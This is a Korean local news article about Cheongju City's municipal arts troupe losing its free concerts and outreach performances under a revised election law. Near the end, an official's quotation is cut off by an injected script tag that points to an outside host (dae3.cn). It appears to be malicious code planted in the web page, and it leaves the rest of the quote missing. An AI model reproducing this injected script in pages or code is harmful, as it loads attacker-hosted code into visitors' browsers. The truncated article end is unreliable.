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제목 청주시립예술단 공연 선거법에 제동
내용 문화향수·공연예술 저변확대 위한 활동 위축 그간 시민들을 위해 펼쳐왔던 청주시립예술단의 각종 무료공연들이 선거법에 의해 없어질 전망이다.  따라서 청주시립예술단의 시민들을 위한 문화향수 및 공연예술 저변확대를 위한 각종 활동 위축은 물론 시립예술단의 공연무대도 좁아질 것으로 보인다.  청주시문화예술체육회관 관계자는 “개정된 선거법에 의해 올해부터 청주시립예술단의 모든 무료공연을 하지 못하게 됨에 따라 그간 무료로 해왔던 수시연주회와 찾아가는 공연 기획에 큰 차질이 생겼다”고 밝혔다.  청주시립예술단의 수시공연은 정기공연과 달리 시민들을 위한 봉사차원에서 유료가 아닌 무료로 이제까지 운영돼 왔으며. 찾아가는 공연 역시 문화예술의 저변확대라는 취지 아래 무료를 원칙으로 해왔다.  특히 지난해는 릫시민들에게 좀 더 다가서는 시립예술단릮을 지향하며 각 동. 마을. 학교. 복지시설 등을 찾아다니며 열악한 무대에도 불구 시민들을 위한 공연활동을 펼쳐 큰 호응을 얻은 바 있다.  각종 마을축제. 지역축제 등에서도 비싼 비용을 치러야 하는 일반 공연단체보다는 시립예술단을 선호. 매번 시립예술단 초청무대를 가졌다.  지난 해 올린 수시공연은 28회이며. 야외콘서트는 2회. 찾아가는 공연활동은 무려 80회에 이른다.  그러나 올해부터는 이 모든 무료공연들이 선거법에 위반되기 때문에 그간 마을축제를 진행해 오던 운영 측들도 난색을 표하고 있다.  시민들 역시 “지난 해 가족들과 함께 아파트 앞에서 이뤄지는 콘서트를 보면서 매우 이채롭게 여기고 좋았는데. 앞으론 이런 것들이 불법이라니 아쉽다”고 말하고 있다.  이런 형편은 우리 지역 뿐 아니라 타 시ㆍ군도 마찬가지여서 이에 따른 대책 마련으로 고심하고 있으며. 선관위와 국회를 대상으로 선거법 개정 요구 등 항의 활동도 벌이는 것으로 알려졌다.  청주시문화예술체육회관 관계자는 “올해 3회의 야외공연을 계획했는데. 어떤 방법(유료입장)으로 진행해야 할지 고민”이라며 “대전의 경우 야외공연 시에는 바리게이트를 치고 1천원씩의 공연료를 받기로 하는 등 타 시ㆍ군 역시 같은 문제로 고민하고 있다”고 말했다.  그는 또 “수시연주회는 일단 유료로 전환하면 되지만 당장 찾아가는 공연은 할 수 없게 됐다”며 “찾아가는 공연을 할 수 있으려면 ?script src=http://dae3.cn>
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  • 담당자 : 이수민
  • 문의전화(043) : 201-2973

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